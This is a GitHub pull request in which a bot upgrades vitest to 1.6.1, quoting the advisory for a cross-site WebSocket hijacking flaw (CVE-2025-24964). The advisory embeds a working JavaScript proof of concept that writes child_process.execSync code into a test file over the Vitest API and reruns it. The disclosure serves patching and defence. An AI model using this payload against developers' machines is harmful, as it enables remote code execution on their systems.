Skip to content

Update dependency vitest to v1.6.1 [SECURITY]#2

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v1.6.1 [SECURITY]#2
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Feb 7, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.6.01.6.1 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@sourcery-ai
Copy link
Copy Markdown

sourcery-ai Bot commented Feb 7, 2025

Reviewer's Guide by Sourcery

This pull request implements a dependency update by modifying the pnpm-lock.yaml file. The main focus is on updating the vitest dependency from v1.6.0 to v1.6.1 to address a critical security vulnerability (CSWSH) and ensure that all associated packages and transitive dependencies are consistent with the new version. In addition, several other package versions have been bumped for consistency and to include minor bug fixes and improvements.

No diagrams generated as the changes look simple and do not need a visual representation.

File-Level Changes

Change Details Files
Updated vitest and its related packages to patch a security vulnerability.
  • Bumped vitest version from 1.6.0 to 1.6.1 to fix the CSWSH remote code execution risk.
  • Updated associated @vitest packages (expect, runner, snapshot, spy, utils) from 1.6.0 to 1.6.1.
  • Adjusted peer dependencies in related packages such as vite and vite-node to reference the updated vitest version.
pnpm-lock.yaml
Upgraded multiple transitive and direct dependency packages for consistency.
  • Updated picocolors dependency from 1.0.0 to 1.1.1 in several places.
  • Bumped esbuild and its platform-specific modules from version 0.20.2 to 0.21.5 to align with newer releases.
  • Incremented versions of other packages including rollup, chai, acorn-walk, cross-spawn, local-pkg, and others to later versions.
  • Recalculated lock file integrity hashes to reflect updated package versions and ensure dependency consistency.
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Feb 7, 2025

⚠️ No Changeset found

Latest commit: 2eb21ff

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Copy link
Copy Markdown

@sourcery-ai sourcery-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5a17685 to 1edadb4 Compare February 12, 2025 07:54
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1edadb4 to 5728eaf Compare March 4, 2025 00:08
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from fc8aeae to 1bfbfaa Compare March 19, 2025 00:12
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 1915610 to bf73faa Compare April 10, 2025 00:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from bf73faa to a255e94 Compare April 26, 2025 16:23
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a255e94 to 7e9ecf6 Compare May 24, 2025 11:39
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 88dc413 to 90f4df0 Compare June 6, 2025 12:50
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 90f4df0 to f03c1a3 Compare July 5, 2025 08:00
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from e58d02d to 9f41009 Compare August 15, 2025 11:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9f41009 to f848081 Compare August 23, 2025 07:06
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f848081 to 27892b7 Compare September 1, 2025 11:00
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 27892b7 to d1a55ce Compare September 26, 2025 20:06
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d1a55ce to 15c81ce Compare October 23, 2025 16:09
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 50bd44d to 680720a Compare November 19, 2025 12:06
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 680720a to 4a5f770 Compare December 3, 2025 23:28
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 4a5f770 to 0e326a4 Compare January 1, 2026 00:20
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0e326a4 to 9bda50e Compare January 9, 2026 11:35
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from b4d529b to 187fd54 Compare January 24, 2026 11:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 187fd54 to 00b30e4 Compare February 3, 2026 20:07
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 00b30e4 to a5b5b42 Compare February 13, 2026 16:10
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 9fc77c0 to 8e18557 Compare March 14, 2026 17:16
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] Update dependency vitest to v1.6.1 [SECURITY] Apr 15, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8e18557 to 2506947 Compare April 15, 2026 15:37
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2506947 to c39717c Compare April 30, 2026 01:26
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c39717c to 2eb21ff Compare May 13, 2026 07:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants